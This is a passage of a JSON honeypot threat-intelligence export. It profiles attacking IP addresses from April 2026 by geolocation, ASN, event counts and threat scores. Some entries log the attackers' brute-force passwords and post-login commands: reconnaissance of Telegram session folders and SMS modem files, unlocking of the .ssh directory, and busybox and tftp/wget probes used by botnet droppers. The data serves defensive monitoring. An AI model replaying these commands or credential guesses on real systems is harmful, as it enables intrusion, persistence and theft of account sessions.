        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T12:11:50.110000+00:00",
        "last_seen_30d": "2026-04-01T23:14:58.819000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 54,
        "Suricata": 50,
        "Honeytrap": 14
      }
    },
    "110.36.1.80": {
      "attack_count": 50,
      "first_seen": "2026-04-01T04:32:58.565Z",
      "last_seen": "2026-04-01T04:38:24.100Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T04:32:58.565000+00:00",
        "last_seen_30d": "2026-04-01T04:39:25.503000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "139.135.41.41": {
      "attack_count": 50,
      "first_seen": "2026-04-07T19:20:37.082Z",
      "last_seen": "2026-04-07T19:26:01.519Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T19:20:37.082000+00:00",
        "last_seen_30d": "2026-04-07T19:27:02.804000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "139.135.60.188": {
      "attack_count": 50,
      "first_seen": "2026-04-11T04:36:38.886Z",
      "last_seen": "2026-04-11T04:42:04.298Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T04:36:38.886000+00:00",
        "last_seen_30d": "2026-04-11T04:43:11.452000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.3.80": {
      "attack_count": 50,
      "first_seen": "2026-04-08T19:28:37.670Z",
      "last_seen": "2026-04-08T19:34:02.117Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T19:28:37.670000+00:00",
        "last_seen_30d": "2026-04-08T19:35:05.264000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "178.141.187.121": {
      "attack_count": 50,
      "first_seen": "2026-04-20T17:37:40.188Z",
      "last_seen": "2026-04-20T17:43:04.345Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Murashi",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T17:37:40.188000+00:00",
        "last_seen_30d": "2026-04-20T17:44:06.203000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.168.201.202": {
      "attack_count": 50,
      "first_seen": "2026-04-19T10:58:18.503Z",
      "last_seen": "2026-04-19T11:03:42.734Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T10:58:18.503000+00:00",
        "last_seen_30d": "2026-04-19T11:04:53.086000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "42.238.168.90": {
      "attack_count": 50,
      "first_seen": "2026-04-19T06:08:34.386Z",
      "last_seen": "2026-04-19T06:13:58.880Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T06:08:34.386000+00:00",
        "last_seen_30d": "2026-04-19T06:15:07.959000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "121.165.204.105": {
      "attack_count": 33,
      "first_seen": "2026-04-27T20:02:14.737Z",
      "last_seen": "2026-04-27T20:03:21.850Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T20:02:14.737000+00:00",
        "last_seen_30d": "2026-04-27T20:04:30.644000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 4
      }
    },
    "220.249.151.228": {
      "attack_count": 30,
      "first_seen": "2026-04-09T22:46:39.803Z",
      "last_seen": "2026-04-09T22:50:21.342Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T22:46:39.803000+00:00",
        "last_seen_30d": "2026-04-09T22:51:27.053000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "118.145.238.115": {
      "attack_count": 29,
      "first_seen": "2026-04-28T10:04:36.712Z",
      "last_seen": "2026-04-29T03:45:16.302Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "77777777",
        "Welcome123!",
        "ZAQ12WSX",
        "raiders13",
        "vikas123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T10:04:36.712000+00:00",
        "last_seen_30d": "2026-04-29T03:55:19.987000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 29,
        "Suricata": 13
      }
    },
    "223.123.38.39": {
      "attack_count": 28,
      "first_seen": "2026-04-06T01:07:26.349Z",
      "last_seen": "2026-04-06T01:10:27.836Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T01:07:26.349000+00:00",
        "last_seen_30d": "2026-04-06T01:11:35.446000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "181.94.75.152": {
      "attack_count": 24,
      "first_seen": "2026-04-29T07:03:04.639Z",
      "last_seen": "2026-04-29T07:19:19.339Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "San Miguel de Tucum\u00e1n",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T07:03:04.639000+00:00",
        "last_seen_30d": "2026-04-29T07:29:29.204000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 14
      }
    },
    "36.92.154.210": {
      "attack_count": 21,
      "first_seen": "2026-04-11T12:12:52.318Z",
      "last_seen": "2026-04-11T12:12:55.270Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "5up",
        "ikwb"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox FGFON",
        "cat /proc/mounts; /bin/busybox FGFON",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FGFON",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox FGFON",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Tangerang",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T12:12:52.318000+00:00",
        "last_seen_30d": "2026-04-11T12:14:01.327000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 2
      }
    },
    "103.206.100.132": {
      "attack_count": 20,
      "first_seen": "2026-04-17T21:08:19.469Z",
      "last_seen": "2026-04-17T21:10:29.066Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137120,
      "as_org": "Nas Internet Services Private Limited",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T21:08:19.469000+00:00",
        "last_seen_30d": "2026-04-17T21:11:31.461000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "179.43.177.134": {
      "attack_count": 17,
      "first_seen": "2026-04-11T06:35:04.248Z",
      "last_seen": "2026-04-11T06:35:04.516Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "R\u00fcmlang",
      "asn": 51852,
      "as_org": "Private Layer INC",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T06:35:04.248000+00:00",
        "last_seen_30d": "2026-04-14T11:50:29.635000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Cowrie": 17
      }
    },
    "14.103.82.142": {
      "attack_count": 16,
      "first_seen": "2026-04-14T03:48:02.809Z",
      "last_seen": "2026-04-14T03:51:11.303Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T03:48:02.809000+00:00",
        "last_seen_30d": "2026-04-14T03:52:14.322000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 10
      }
    },
    "158.94.209.193": {
      "attack_count": 16,
      "first_seen": "2026-04-22T22:06:34.170Z",
      "last_seen": "2026-04-28T10:46:21.091Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 91.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 436,
        "days_active_30d": 30,
        "ports_targeted_30d": 158,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T04:50:40+00:00",
        "last_seen_30d": "2026-04-30T22:27:37.676000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 240,
        "Honeytrap": 174,
        "Cowrie": 16,
        "Adbhoney": 6
      }
    },
    "182.151.61.36": {
      "attack_count": 16,
      "first_seen": "2026-04-14T03:07:34.055Z",
      "last_seen": "2026-04-14T03:10:41.425Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38283,
      "as_org": "CHINANET SiChuan Telecom Internet Data Center",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T03:07:34.055000+00:00",
        "last_seen_30d": "2026-04-14T03:11:42.784000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "85.113.108.164": {
      "attack_count": 16,
      "first_seen": "2026-04-29T00:46:10.147Z",
      "last_seen": "2026-04-29T00:56:15.304Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Ramallah",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T00:46:10.147000+00:00",
        "last_seen_30d": "2026-04-29T00:57:25.475000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "43.128.122.242": {
      "attack_count": 15,
      "first_seen": "2026-04-28T08:12:06.051Z",
      "last_seen": "2026-04-28T08:30:09.302Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T08:03:55.792000+00:00",
        "last_seen_30d": "2026-04-28T08:31:16.102000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 10
      }
    },
    "176.65.148.127": {
      "attack_count": 14,
      "first_seen": "2026-04-03T05:19:45.269Z",
      "last_seen": "2026-04-19T13:30:25.665Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T05:19:45.269000+00:00",
        "last_seen_30d": "2026-04-19T13:31:33.621000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 14
      }
    },
    "46.62.136.213": {
      "attack_count": 10,
      "first_seen": "2026-04-10T13:52:10.997Z",
      "last_seen": "2026-04-10T17:14:24.015Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "kelltech#2024",
        "kelltech2024!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:52:10.997000+00:00",
        "last_seen_30d": "2026-04-10T17:15:31.376000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "205.210.31.28": {
      "attack_count": 8,
      "first_seen": "2026-04-02T22:55:47.629Z",
      "last_seen": "2026-04-16T16:26:55.171Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 61.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.6,
        "persistence": 20.0,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 24,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T22:54:14.402000+00:00",
        "last_seen_30d": "2026-04-25T10:29:04.524000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 8,
        "Honeytrap": 5,
        "Dionaea": 1
      }
    },
    "91.224.92.50": {
      "attack_count": 8,
      "first_seen": "2026-04-01T01:02:18.380Z",
      "last_seen": "2026-04-03T13:02:10.417Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:02:18.380000+00:00",
        "last_seen_30d": "2026-04-03T13:03:11.932000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "57.151.105.130": {
      "attack_count": 7,
      "first_seen": "2026-04-18T08:17:18.332Z",
      "last_seen": "2026-04-18T08:17:28.334Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 39.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 13.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 16,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T08:32:34.170000+00:00",
        "last_seen_30d": "2026-04-23T19:26:57.963000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 7,
        "Honeytrap": 4
      }
    },
    "66.132.172.213": {
      "attack_count": 6,
      "first_seen": "2026-04-20T08:17:31.098Z",
      "last_seen": "2026-04-20T08:18:07.980Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
